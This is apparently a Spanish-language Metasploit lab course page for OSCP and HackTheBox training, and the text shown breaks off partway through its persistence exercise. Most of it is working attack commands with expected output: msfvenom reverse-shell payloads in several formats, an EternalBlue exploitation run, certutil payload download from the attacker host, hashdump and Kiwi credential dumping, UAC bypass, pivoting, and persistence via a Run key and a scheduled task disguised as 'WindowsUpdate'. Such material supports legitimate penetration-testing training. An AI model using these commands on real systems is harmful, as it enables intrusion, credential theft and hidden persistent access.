GhostAcademy
Ghost AcademySecLearn// METASPLOIT LAB
βš” PENTESTING OFENSIVO β€” SOLO ENTORNOS AUTORIZADOS β€” OSCP / HTB
Metasploit Framework
& Meterpreter
msfconsole Β· msfvenom Β· Meterpreter Β· EternalBlue Β· Escalada Β· Pivoting Β· Persistencia Β· Metasploitable 2 Β· GhostAcademy
MetasploitMeterpretermsfvenomOSCPHackTheBoxEternalBluePost-ExplotaciΓ³nPivotingKali LinuxCEH
9EJERCICIOS
50+COMANDOS
15MITRE TTPs
πŸ”§
ΒΏQuΓ© es Metasploit Framework?
La plataforma de pentesting mΓ‘s usada del mundo: OSCP, CEH, eJPT, HTB

Metasploit Framework es la plataforma de pentesting mΓ‘s utilizada del mundo. Desarrollada originalmente por H.D. Moore en 2003 y actualmente mantenida por Rapid7, es una herramienta de cΓ³digo abierto incluida en Kali Linux que integra mΓ‘s de 2.300 exploits, 1.100 mΓ³dulos auxiliares y cientos de payloads en un ΓΊnico framework unificado. Es el estΓ‘ndar de la industria para certificaciones como OSCP, CEH, eJPT y PNPT.

Meterpreter es el payload de post-explotaciΓ³n de Metasploit: una shell avanzada que se ejecuta completamente en memoria, sin tocar el disco, proporciona cifrado TLS en la comunicaciΓ³n y ofrece funcionalidades que van mucho mΓ‘s allΓ‘ de una shell estΓ‘ndar: volcado de hashes, captura de pantalla, keylogging, pivoting de red y escalada de privilegios automΓ‘tica.

⚠ USO EXCLUSIVAMENTE EN ENTORNOS AUTORIZADOSTodo lo documentado en este manual debe practicarse en laboratorios propios (Metasploitable 2/3, HackTheBox, TryHackMe, DVWA) o en entornos con permiso escrito explícito de auditoría. El uso de estas técnicas contra sistemas sin autorización es ilegal.
πŸ”§Exploits2.300+ mΓ³dulos para explotar vulnerabilidades conocidas en servicios y aplicaciones
πŸ“ˆAuxiliaresEscaneo, enumeraciΓ³n, fuzzing, brute force sin payload
πŸ’»PayloadsSingles, stagers y stages: desde shells simples hasta Meterpreter completo
βš™PostMΓ³dulos de post-explotaciΓ³n: volcado de credenciales, escalada, pivoting
πŸ”ŒEncodersCodificadores para reducir falsos positivos en payloads
πŸ› msfvenomGenerador de payloads independiente: EXE, DLL, Python, PHP, PowerShell...
πŸ”Œ
Arquitectura del Framework
MΓ³dulos, payloads, handlers y la diferencia entre singles y stagers
πŸ”ŒARQUITECTURA DEL FRAMEWORK
ComponenteDescripciΓ³nEjemplo
msfconsoleInterfaz principal interactiva del frameworkmsfconsole
msfvenomGenerador/encoder de payloads independientemsfvenom -p windows/x64/meterpreter/reverse_tcp
Exploit modulesCΓ³digo para explotar una CVE especΓ­ficaexploit/windows/smb/ms17_010_eternalblue
Payload modulesCΓ³digo que se ejecuta en el objetivo tras explotarwindows/x64/meterpreter/reverse_tcp
Auxiliary modulesEscaneo y enumeraciΓ³n sin payloadauxiliary/scanner/smb/smb_ms17_010
Post modulesAcciones despuΓ©s de obtener sesiΓ³npost/windows/gather/hashdump
Handler (multi/handler)Listener que recibe las conexiones de los payloadsuse exploit/multi/handler
πŸ’»TIPOS DE PAYLOAD: SINGLES, STAGERS Y STAGES

Metasploit organiza los payloads en tres tipos:

  • Singles (windows/shell_reverse_tcp): payload completo en un solo bloque. MΓ‘s grande pero mΓ‘s fiable. No necesita staged connection.
  • Stagers (windows/shell/reverse_tcp): payload pequeΓ±o que establece la conexiΓ³n y descarga el stage. El / lo distingue del _ del single.
  • Stages: el payload completo que el stager descarga. Meterpreter es siempre un stage.

Regla prΓ‘ctica: cuando el buffer de explotaciΓ³n es limitado, usa stager (/). Cuando no hay restricciΓ³n, usa single (_).

Nomenclatura de payloads en Metasploit
# Formato: PLATAFORMA/ARQUITECTURA/TIPO_CONEXION # Singles (payload completo, _ en el nombre): windows/meterpreter_reverse_tcp # Windows 32-bit windows/x64/meterpreter_reverse_tcp # Windows 64-bit linux/x86/shell_reverse_tcp # Linux 32-bit linux/x64/shell_reverse_tcp # Linux 64-bit # Stagers (payload pequeΓ±o, / en el nombre): windows/meterpreter/reverse_tcp # Stager Meterpreter windows/x64/meterpreter/reverse_tcp # Stager 64-bit windows/shell/reverse_tcp # Stager shell simple # Tipos de conexion: # reverse_tcp : el objetivo se conecta al atacante (mΓ‘s comΓΊn) # bind_tcp : el atacante se conecta al objetivo (cuando hay NAT inverso) # reverse_https: reverse sobre HTTPS (mΓ‘s sigiloso)
βš™
InstalaciΓ³n y msfconsole
Arrancar Metasploit, navegar mΓ³dulos y configurar variables
Instalar y arrancar Metasploit
# En Kali Linux (preinstalado): msfconsole # Actualizar Metasploit a la versiΓ³n mΓ‘s reciente: sudo apt update && sudo apt upgrade metasploit-framework -y # Instalar en Ubuntu/Debian desde el instalador oficial: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod +x msfinstall && sudo ./msfinstall # Iniciar la base de datos PostgreSQL (recomendado): sudo systemctl start postgresql msfdb init msfconsole # Verificar que la DB estΓ‘ conectada (dentro de msfconsole): msf6 > db_status # [*] Connected to msf. Connection type: postgresql
NavegaciΓ³n esencial en msfconsole
# Comandos fundamentales de msfconsole: # Buscar mΓ³dulos: msf6 > search eternalblue msf6 > search type:exploit platform:windows smb msf6 > search cve:2021-44228 # Usar un mΓ³dulo: msf6 > use exploit/windows/smb/ms17_010_eternalblue # O por nΓΊmero del resultado de search: msf6 > use 0 # Ver informaciΓ³n del mΓ³dulo: msf6 exploit(ms17_010_eternalblue) > info # Ver y configurar opciones: msf6 exploit(ms17_010_eternalblue) > show options msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.20 msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.5 msf6 exploit(ms17_010_eternalblue) > set LPORT 4444 # Ver payloads compatibles con el exploit actual: msf6 exploit(ms17_010_eternalblue) > show payloads # Seleccionar payload: msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # Ejecutar: msf6 exploit(ms17_010_eternalblue) > run # O: msf6 exploit(ms17_010_eternalblue) > exploit
πŸ“ŠVARIABLES GLOBALES vs LOCALES
Diferencia entre set y setg
# set: configura una variable para el modulo actual msf6 > set LHOST 192.168.56.5 # setg: configura una variable GLOBAL (para todos los modulos) msf6 > setg LHOST 192.168.56.5 msf6 > setg LPORT 4444 # Util cuando usas multiples modulos con la misma IP de atacante # unset: borrar una variable msf6 > unset RHOSTS # Ver todas las variables configuradas: msf6 > show options # Guardar la configuracion actual: msf6 > save
πŸ› 
msfvenom: Generar Payloads
Crear payloads para Windows, Linux, PHP, PowerShell y shellcode

msfvenom combina los antiguos msfpayload y msfencode en una sola herramienta. Genera payloads en prΓ‘cticamente cualquier formato y plataforma: ejecutables Windows, scripts Python, PHP, PowerShell, shellcode en C, APKs Android, y mucho mΓ‘s. Es la herramienta que se usa para crear los payloads que se entregan al objetivo.

Sintaxis de msfvenom y ejemplos clave
# Sintaxis: msfvenom -p PAYLOAD [opciones] -f FORMATO -o ARCHIVO # ── PAYLOADS WINDOWS ────────────────────────────────────────── # EXE reverse shell Meterpreter (64-bit, el mΓ‘s usado en OSCP/HTB): msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f exe -o shell.exe # EXE 32-bit (para sistemas Windows mΓ‘s antiguos): msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f exe -o shell32.exe # DLL (para inyecciΓ³n en proceso): msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f dll -o malware.dll # PowerShell one-liner (para ejecuciΓ³n en memoria): msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f psh-cmd # HTA (aplicaciΓ³n HTML, se ejecuta al abrirla con mshta.exe): msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f hta-psh -o app.hta # ── PAYLOADS LINUX ──────────────────────────────────────────── # ELF ejecutable Linux 64-bit: msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f elf -o shell.elf # Shell simple Linux (sin Meterpreter, mΓ‘s ligero): msfvenom -p linux/x64/shell_reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f elf -o shell_simple.elf # ── PAYLOADS WEB ────────────────────────────────────────────── # PHP reverse shell: msfvenom -p php/meterpreter_reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f raw -o shell.php # JSP (Java Server Pages): msfvenom -p java/jsp_shell_reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f raw -o shell.jsp # WAR (Apache Tomcat): msfvenom -p java/jsp_shell_reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f war -o shell.war # ── SHELLCODE ───────────────────────────────────────────────── # Shellcode en C (para incrustar en exploits propios): msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f c # Shellcode en Python: msfvenom -p windows/x64/shell_reverse_tcp \ LHOST=192.168.56.5 LPORT=4444 \ -f python
Listar payloads y formatos disponibles
# Listar todos los payloads disponibles: msfvenom -l payloads # Filtrar payloads por plataforma: msfvenom -l payloads | grep windows/x64 msfvenom -l payloads | grep linux/x64 msfvenom -l payloads | grep php # Listar todos los formatos de salida: msfvenom -l formats # Ver las opciones de un payload especΓ­fico: msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options
πŸ’‘ Para OSCP y HTB, los payloads mΓ‘s usados son: windows/x64/meterpreter/reverse_tcp (Windows), linux/x64/meterpreter/reverse_tcp (Linux) y php/meterpreter_reverse_tcp (webshell PHP).
πŸ’»
Meterpreter: La Shell Avanzada
CΓ³mo funciona Meterpreter y por quΓ© es el payload preferido en pentesting

Meterpreter (abreviaciΓ³n de Meta-Interpreter) es el payload de post-explotaciΓ³n mΓ‘s avanzado de Metasploit. Cuando se ejecuta en el objetivo, carga una DLL completamente en memoria mediante reflective DLL injection, sin escribir nada en disco. Toda la comunicaciΓ³n va cifrada con TLS. Proporciona una API completa que los mΓ³dulos post de Metasploit pueden usar directamente.

πŸ’»CARACTERÍSTICAS CLAVE DE METERPRETER
CaracterΓ­sticaDescripciΓ³n
EjecuciΓ³n en memoriaNo escribe archivos en disco. Evita muchos antivirus basados en firmas de disco.
Cifrado TLSToda la comunicaciΓ³n entre Meterpreter y Metasploit va cifrada.
ExtensΓ­bleSe puede cargar extensiones adicionales (Kiwi, Incognito, Mimikatz) en tiempo de ejecuciΓ³n.
MultiplataformaVersiones para Windows, Linux, macOS, Android, Java.
Shell integradaPuedes abrir una shell del sistema operativo desde dentro de Meterpreter.
Sistema de archivosNavegar, descargar y subir archivos sin salir de Meterpreter.
Comandos fundamentales de Meterpreter
# Una vez obtenida la sesion Meterpreter: # Informacion del sistema: meterpreter > sysinfo meterpreter > getuid # Usuario actual meterpreter > getpid # PID del proceso de Meterpreter meterpreter > ps # Lista de procesos en ejecucion # Navegacion del sistema de archivos: meterpreter > pwd # Directorio actual meterpreter > ls # Listar contenido meterpreter > cd C:\Users\ # Cambiar directorio meterpreter > download secreto.txt # Descargar archivo meterpreter > upload nc.exe C:\Windows\Temp\ # Subir archivo # Shell interactiva: meterpreter > shell # Abrir cmd.exe # CTRL+Z para volver a Meterpreter sin matar la shell # Pivoting entre sesiones: meterpreter > background # Enviar al fondo (CTRL+Z tambiΓ©n) # Volver a la sesion: msf6 > sessions -l # Listar sesiones activas msf6 > sessions -i 1 # Volver a la sesion 1 # Informacion de red: meterpreter > ipconfig meterpreter > arp meterpreter > netstat
πŸ”
Ejercicio 1 β€” Primer Exploit: EternalBlue (MS17-010)
El exploit mΓ‘s enseΓ±ado en OSCP/HTB: flujo completo desde detecciΓ³n a SYSTEM

EternalBlue (MS17-010 / CVE-2017-0144) es la vulnerabilidad mΓ‘s importante para aprender Metasploit: es la que usΓ³ WannaCry y NotPetya. EstΓ‘ presente en practicamente todos los labs de OSCP y HTB, y enseΓ±a el flujo completo desde la detecciΓ³n hasta la shell. Solo para Metasploitable 2/3, HTB Blue, o VM Windows 7 sin parches en lab propio.

πŸ“Œ ENTORNO DE LABORATORIOEste ejercicio requiere una VM Windows 7 SP1 sin parchas o la mΓ‘quina Blue de HackTheBox. Descarga una ISO de evaluaciΓ³n de Windows 7 SP1 de Microsoft, crΓ©a una VM en VirtualBox/VMware y NO apliques actualizaciones.
1
Verificar si el objetivo es vulnerableESCANEO
Escanear con el modulo auxiliar de MS17-010
# Paso 1: Escanear si es vulnerable ANTES de explotar msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.56.20 msf6 auxiliary(smb_ms17_010) > run # Salida si es vulnerable: # [+] 192.168.56.20:445 - Host is likely VULNERABLE to MS17-010! # [*] 192.168.56.20:445 - Scanned 1 of 1 hosts # Tambien con nmap: nmap -p 445 --script smb-vuln-ms17-010 192.168.56.20
2
Explotar con EternalBlueEXPLOIT
Explotar MS17-010 con Metasploit
# Paso 2: Cargar el modulo de exploit msf6 > use exploit/windows/smb/ms17_010_eternalblue # Configurar opciones: msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.20 msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.5 msf6 exploit(ms17_010_eternalblue) > set LPORT 4444 # Verificar las opciones: msf6 exploit(ms17_010_eternalblue) > show options # El payload por defecto es windows/x64/meterpreter/reverse_tcp # Verificar: msf6 exploit(ms17_010_eternalblue) > show payloads # Ejecutar: msf6 exploit(ms17_010_eternalblue) > run # Salida esperada: # [*] Started reverse TCP handler on 192.168.56.5:4444 # [*] 192.168.56.20:445 - Connecting to target for exploitation. # [+] 192.168.56.20:445 - Connection established for exploitation. # [*] Sending stage (200774 bytes) to 192.168.56.20 # [*] Meterpreter session 1 opened # meterpreter >
3
Verificar acceso obtenidoPOST-EXPLOIT
Verificar privilegios tras EternalBlue
# Verificar usuario y privilegios: meterpreter > getuid # Server username: NT AUTHORITY\SYSTEM # EternalBlue da acceso como SYSTEM directamente meterpreter > sysinfo # Computer: WIN7-LAB # OS: Windows 7 (6.1 Build 7601, Service Pack 1) # Architecture: x64 # Obtener los hashes del sistema: meterpreter > hashdump # Administrator:500:aad3b435...:8846f7eaee8fb117... # Guest:501:aad3b435...:31d6cfe0d16ae931...
❓ Ejercicio prΓ‘ctico
Completa el flujo EternalBlue en tu laboratorio. ΒΏA quΓ© usuario corresponde el hash que obtiene hashdump? ΒΏCon quΓ© herramienta crackeΓ³s ese hash NT?
πŸ’‘ Pista: El hash NT obtenido de hashdump se puede crackear con hashcat -m 1000 o con CrackStation online.
Ver soluciΓ³n
msf6 > use exploit/windows/smb/ms17_010_eternalblue --- set RHOSTS IP --- run --- meterpreter > hashdump --- El hash de Administrator tiene el formato LM:NT. Crackear: hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt --- O usar CrackStation.net con el hash NT (los 32 chars despues del segundo :)
πŸ”΄
Ejercicio 2 β€” Reverse Shell con msfvenom
Flujo completo: generar payload, configurar handler y recibir la sesiΓ³n

El escenario mΓ‘s comΓΊn en pentesting web: encuentras una vulnerabilidad de subida de archivos o ejecuciΓ³n remota y necesitas entregar un payload que conecte de vuelta a tu listener de Metasploit. Este es el flujo msfvenom + multi/handler.

1
Crear el payload con msfvenomGENERAR PAYLOAD
Generar el payload segun el objetivo
# Para un objetivo Windows (el mas comun en HTB/OSCP): msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.5 \ LPORT=4444 \ -f exe \ -o payload.exe # Para Linux: msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.5 \ LPORT=4444 \ -f elf \ -o payload.elf chmod +x payload.elf # Para una webshell PHP: msfvenom -p php/meterpreter_reverse_tcp \ LHOST=192.168.56.5 \ LPORT=4444 \ -f raw \ -o shell.php # Para PowerShell (cuando solo tienes RCE via PowerShell): msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.5 \ LPORT=4444 \ -f psh \ -o payload.ps1 # Verificar el payload generado: file payload.exe ls -lh payload.exe
2
Configurar el listener multi/handlerLISTENER
Configurar multi/handler para recibir la conexion
# SIEMPRE levantar el handler ANTES de ejecutar el payload en el objetivo msf6 > use exploit/multi/handler msf6 exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(handler) > set LHOST 192.168.56.5 msf6 exploit(handler) > set LPORT 4444 # Opciones adicionales utiles: # ExitOnSession false = mantener el handler activo para multiples conexiones: msf6 exploit(handler) > set ExitOnSession false # Ejecutar en modo job (en segundo plano): msf6 exploit(handler) > run -j # [*] Exploit running as background job 0. # [*] Started reverse TCP handler on 192.168.56.5:4444 # Cuando llegue la conexion del payload: # [*] Sending stage (200774 bytes) to 192.168.56.20 # [*] Meterpreter session 1 opened msf6 > sessions -i 1
3
Entregar el payload al objetivoENTREGA
Formas de entregar el payload al objetivo
# El payload.exe debe ejecutarse en el sistema objetivo # En un lab, las formas mas comunes son: # 1. Servidor HTTP con Python (para que el objetivo lo descargue): python3 -m http.server 8080 # En el objetivo: certutil -urlcache -f http://KALI_IP:8080/payload.exe C:\Temp\payload.exe # 2. SMB server con Impacket (objetivo puede ejecutar directamente): impacket-smbserver share . -smb2support # En el objetivo: \\KALI_IP\share\payload.exe # 3. Si tienes RCE via webapp (ej: DVWA): # Subir shell.php a la web vulnerable # Acceder a la URL de la shell: http://objetivo/uploads/shell.php # 4. Si tienes acceso SSH: scp payload.elf usuario@192.168.56.20:/tmp/ ssh usuario@192.168.56.20 'chmod +x /tmp/payload.elf && /tmp/payload.elf &'
❓ Ejercicio prΓ‘ctico
Genera un payload EXE de Meterpreter para Windows 64-bit, configura el handler y simula la entrega con un servidor HTTP de Python. ΒΏQuΓ© archivo genera msfvenom? ΒΏQuΓ© ocurre en msfconsole cuando el payload se ejecuta en el objetivo?
πŸ’‘ Pista: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe --- use exploit/multi/handler
Ver soluciΓ³n
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=TU_IP LPORT=4444 -f exe -o shell.exe --- msf6 > use exploit/multi/handler --- set payload windows/x64/meterpreter/reverse_tcp --- set LHOST TU_IP --- set LPORT 4444 --- run --- Al ejecutar shell.exe en el objetivo: [*] Meterpreter session 1 opened. El handler muestra la IP del objetivo y abre la sesion Meterpreter.
πŸ‘€
Ejercicio 3 β€” Post-ExplotaciΓ³n con Meterpreter
Recopilar informaciΓ³n del sistema, volcar credenciales y usar mΓ³dulos post

Una vez obtenida la sesiΓ³n Meterpreter, el trabajo real del pentest comienza: recolectar evidencias, escalar privilegios, moverse lateralmente y demostrar el impacto real del compromiso al cliente. Los mΓ³dulos post/ de Metasploit automatizan las tareas mΓ‘s comunes de post-explotaciΓ³n.

1
RecopilaciΓ³n de informaciΓ³n del sistemaRECON
Informacion del sistema con modulos post
# Dentro de Meterpreter: # Info del sistema: meterpreter > sysinfo meterpreter > getuid meterpreter > getpid meterpreter > ps | grep -i 'explorer\|lsass\|svchost' # Interfaces de red y tabla de rutas: meterpreter > ipconfig meterpreter > route # Usuarios locales: meterpreter > run post/windows/gather/enum_logged_on_users # Software instalado: meterpreter > run post/windows/gather/enum_applications # Buscar archivos interesantes: meterpreter > search -f *.txt -d C:\Users meterpreter > search -f password* -d C:\ meterpreter > search -f *.kdbx -d C:\ # KeePass databases meterpreter > search -f *.config -d C:\inetpub\ # IIS configs # Captura de pantalla: meterpreter > screenshot
2
Volcado de credencialesCREDENCIALES
Volcar hashes y credenciales en memoria
# hashdump: vuelca la SAM local (requiere SYSTEM o Admin local) meterpreter > hashdump # Administrator:500:aad3b435...:8846f7eaee8fb117... # Usar el modulo post para hashdump mas completo: meterpreter > run post/windows/gather/hashdump # Kiwi (ex Mimikatz integrado en Meterpreter): # Cargar la extension Kiwi: meterpreter > load kiwi # Volcar credenciales en memoria (requiere SYSTEM): meterpreter > creds_all # Todas las credenciales disponibles meterpreter > lsa_dump_sam # Hashes de la SAM meterpreter > lsa_dump_secrets # LSA Secrets (cuentas de servicio) meterpreter > kerberos_ticket_list # Tickets Kerberos activos # Si no tienes SYSTEM, migrar primero a un proceso SYSTEM: meterpreter > ps | grep -i 'system' meterpreter > migrate PID_PROCESO_SYSTEM meterpreter > getuid # Server username: NT AUTHORITY\SYSTEM
3
MΓ³dulos post para recolectar informaciΓ³nPOST MODULES
Modulos post mas utiles de Metasploit
# Ejecutar modulos post desde dentro de Meterpreter: meterpreter > run MODULE # O desde msfconsole con SESSION: msf6 > use post/windows/gather/hashdump msf6 > set SESSION 1 msf6 > run # Modulos post de recoleccion mas usados: post/windows/gather/hashdump # Hashes SAM post/windows/gather/smart_hashdump # Hashes SAM + dominio (mas completo) post/windows/gather/credentials/credential_collector # Todas las creds post/windows/gather/enum_applications # Software instalado post/windows/gather/enum_logged_on_users # Usuarios con sesion activa post/multi/recon/local_exploit_suggester # Sugerir exploits de escalada post/windows/manage/migrate # Migrar a otro proceso
❓ Ejercicio prΓ‘ctico
Con una sesiΓ³n Meterpreter activa, usa el mΓ³dulo post/multi/recon/local_exploit_suggester. ΒΏQuΓ© exploits de escalada de privilegios sugiere para tu objetivo?
πŸ’‘ Pista: meterpreter > run post/multi/recon/local_exploit_suggester
Ver soluciΓ³n
msf6 > use post/multi/recon/local_exploit_suggester --- set SESSION 1 --- run --- El modulo lista los exploits locales de escalada compatibles con el OS de la sesion. En Windows 7: suele sugerir exploit/windows/local/ms14_058_track_popup_menu, ms16_014_wmi_recv_notif, bypassuac_eventvwr, etc.
πŸ”’
Ejercicio 4 β€” Escalada de Privilegios
getsystem, BypassUAC y Local Exploit Suggester para obtener SYSTEM

La escalada de privilegios convierte acceso de usuario limitado en acceso de administrador o SYSTEM. Metasploit incluye decenas de exploits locales y el mΓ³dulo local_exploit_suggester que automatizan este proceso en entornos de laboratorio y CTF.

1
Escalada automΓ‘tica: getsystemGETSYSTEM
Escalada automatica con getsystem
# getsystem intenta varios metodos de escalada automaticamente: meterpreter > getsystem # ...got system via technique 1 (Named Pipe Impersonation...) # o # ...got system via technique 4 (Token Duplication via...) # Verificar: meterpreter > getuid # Server username: NT AUTHORITY\SYSTEM # Si getsystem falla, intentar manualmente: # Metodo 1: Named Pipe Impersonation msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc msf6 > set SESSION 1 msf6 > run # Ver que metodos tiene getsystem: meterpreter > getsystem -h # Technique 1 : Named Pipe Impersonation # Technique 2 : Token Duplication # Technique 3 : ROTTEN POTATO # Technique 4 : Named Pipe Impersonation (Printspoofer)
2
BypassUAC: cuando eres Admin local pero no SYSTEMBYPASSUAC
Modulos BypassUAC de Metasploit
# Si tienes una sesion de usuario administrador pero con UAC activado: # getsystem fallara -> necesitas bypass UAC primero # Metodo clasico: bypassuac_eventvwr msf6 > use exploit/windows/local/bypassuac_eventvwr msf6 > set SESSION 1 msf6 > set LHOST 192.168.56.5 msf6 > run # Abre una nueva sesion con UAC desactivado # Luego en esa nueva sesion: meterpreter > getsystem # Otros modulos BypassUAC: exploit/windows/local/bypassuac # UAC bypass generico exploit/windows/local/bypassuac_fodhelper # Via fodhelper.exe exploit/windows/local/bypassuac_sdclt # Via sdclt.exe exploit/windows/local/bypassuac_silentcleanup # Via SilentCleanup task
3
Local Exploit Suggester: encontrar exploits de escaladaLES
Usar local_exploit_suggester para buscar escaladas
# El modulo mas importante para escalada: sugiere exploits compatibles msf6 > use post/multi/recon/local_exploit_suggester msf6 > set SESSION 1 msf6 > run # Salida de ejemplo: # [+] exploit/windows/local/ms14_058_track_popup_menu: The target appears vulnerable. # [+] exploit/windows/local/ms16_014_wmi_recv_notif: The target appears vulnerable. # [+] exploit/windows/local/ms16_075_reflection: The target appears vulnerable. # Probar el primer exploit sugerido: msf6 > use exploit/windows/local/ms14_058_track_popup_menu msf6 > set SESSION 1 msf6 > set LHOST 192.168.56.5 msf6 > run # Si funciona: nueva sesion con privilegios SYSTEM
❓ Ejercicio prΓ‘ctico
Con una sesiΓ³n Meterpreter de usuario limitado en Windows 7, usa getsystem primero. Si falla, usa el Local Exploit Suggester y prueba el primer exploit sugerido. ΒΏObtienes SYSTEM?
πŸ’‘ Pista: meterpreter > getsystem --- Si falla: run post/multi/recon/local_exploit_suggester
Ver soluciΓ³n
meterpreter > getsystem --- Si falla: use post/multi/recon/local_exploit_suggester --- set SESSION N --- run --- Probar el primer exploit listado: use exploit/windows/local/NOMBRE --- set SESSION N --- run --- meterpreter > getuid -> NT AUTHORITY\SYSTEM confirma exito
πŸ“ˆ
Ejercicio 5 β€” Pivoting y Port Forwarding
Usar un sistema comprometido como trampolΓ­n para atacar redes internas

El pivoting consiste en usar un sistema comprometido como trampolΓ­n para atacar otros sistemas de redes internas que no son directamente accesibles desde Kali. Metasploit tiene soporte nativo para pivoting a travΓ©s de sesiones Meterpreter.

1
Descubrir la red interna desde el pivoteDESCUBRIMIENTO
Escanear la red interna desde la sesion Meterpreter
# El objetivo comprometido (192.168.56.20) tiene acceso a # una red interna 10.10.10.0/24 que Kali no puede ver # Ver las interfaces del sistema comprometido: meterpreter > ipconfig # Interface 1: 192.168.56.20/24 (red que ya conocemos) # Interface 2: 10.10.10.50/24 <- RED INTERNA # Agregar una ruta de pivoting en Metasploit: msf6 > route add 10.10.10.0/24 SESSION_ID # O desde dentro de Meterpreter: meterpreter > run post/multi/manage/autoroute # Verificar rutas: msf6 > route print # [*] Active Routing Table # [*] Subnet Netmask Gateway # [*] 10.10.10.0 255.255.255.0 Session 1 # Escanear la red interna a traves del pivote: msf6 > use auxiliary/scanner/portscan/tcp msf6 > set RHOSTS 10.10.10.0/24 msf6 > set PORTS 22,80,443,445,3389 msf6 > run
2
SOCKS Proxy: usar herramientas externas a travΓ©s del pivoteSOCKS
Crear un proxy SOCKS para usar cualquier herramienta
# Crear un proxy SOCKS5 que tunela el trafico por la sesion Meterpreter: msf6 > use auxiliary/server/socks_proxy msf6 > set SRVPORT 1080 msf6 > set VERSION 5 msf6 > run -j # [*] Auxiliary module running as background job # [*] Starting the SOCKS proxy server # Configurar proxychains para usar el SOCKS: # Editar /etc/proxychains4.conf: # socks5 127.0.0.1 1080 # Ahora cualquier herramienta puede tunelarse por el pivote: proxychains nmap -sT -p 80,443,22 10.10.10.100 proxychains curl http://10.10.10.100/ proxychains nxc smb 10.10.10.100 proxychains python3 psexec.py DOMINIO/admin:pass@10.10.10.100
3
Port forwarding local y remotoPORT FORWARD
Redirigir puertos con Meterpreter
# Port forward LOCAL: acceder a un puerto del objetivo en un puerto local # Ej: RDP (3389) del objetivo -> puerto 13389 en Kali meterpreter > portfwd add -l 13389 -p 3389 -r 10.10.10.100 # Ahora: rdesktop 127.0.0.1:13389 # Otro ejemplo: acceder a MySQL interno (3306) -> local 3307 meterpreter > portfwd add -l 3307 -p 3306 -r 10.10.10.100 # mysql -h 127.0.0.1 -P 3307 -u root # Ver los port forwards activos: meterpreter > portfwd list # Eliminar un port forward: meterpreter > portfwd delete -l 13389
❓ Ejercicio prΓ‘ctico
Con un laboratorio de dos redes (Kali solo accede a la primera, el pivote tiene acceso a ambas), configura autoroute desde Meterpreter y usa el scanner TCP para descubrir hosts activos en la red interna.
πŸ’‘ Pista: meterpreter > run post/multi/manage/autoroute --- msf6 > use auxiliary/scanner/portscan/tcp --- set RHOSTS 10.10.10.0/24
Ver soluciΓ³n
meterpreter > run post/multi/manage/autoroute SUBNET=10.10.10.0/24 --- msf6 > use auxiliary/scanner/portscan/tcp --- set RHOSTS 10.10.10.0/24 --- set PORTS 22,80,445,3389 --- run --- Los hosts que respondan en esos puertos son objetivos potenciales de la red interna.
πŸ“Š
Ejercicio 6 β€” Persistencia
Mantener el acceso tras reinicios y demostrar el impacto real del compromiso

La persistencia garantiza que el acceso al sistema se mantiene aunque se reinicie el equipo o se cierre la sesiΓ³n Meterpreter. En un pentest real, demostrar persistencia es la forma de mostrar al cliente el impacto real de un compromiso.

πŸ’‘ SOLO EN LABORATORIOLos mecanismos de persistencia modifican el sistema objetivo (registro, tareas programadas, servicios). En un pentest real, siempre documenta todo lo que instalas y lΓ­mpialo al finalizar el engagement.
1
Persistencia via registro (Run key)RUN KEY
Modulo de persistencia via Run key del registro
# Persistencia via clave Run del Registro: msf6 > use post/windows/manage/persistence msf6 > set SESSION 1 msf6 > set STARTUP REGISTRY msf6 > set LHOST 192.168.56.5 msf6 > set LPORT 4445 msf6 > run # El modulo: # 1. Sube un payload a C:\Windows\Temp\nVABb.exe # 2. Crea la clave Run: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # 3. Al reiniciar, el payload se ejecuta automaticamente y conecta a Kali # Para recibir la conexion del payload persistente: msf6 > use exploit/multi/handler msf6 > set payload windows/meterpreter/reverse_tcp msf6 > set LHOST 192.168.56.5 msf6 > set LPORT 4445 msf6 > run
2
Persistencia via tarea programadaSCHEDULED TASK
Persistencia con schtasks
# Desde dentro de Meterpreter (shell cmd): meterpreter > shell # Crear tarea programada que ejecuta el payload cada hora: C:\> schtasks /create /tn 'WindowsUpdate' /tr 'C:\Temp\payload.exe' /sc hourly /f # O al inicio del sistema: C:\> schtasks /create /tn 'WindowsUpdate' /tr 'C:\Temp\payload.exe' /sc onstart /ru SYSTEM /f # Verificar la tarea: C:\> schtasks /query /tn 'WindowsUpdate' # Con el modulo post de Metasploit: msf6 > use post/windows/manage/persistence_exe msf6 > set SESSION 1 msf6 > set STARTUP SCHEDULER msf6 > set EXE_NAME WindowsUpdate.exe msf6 > run
3
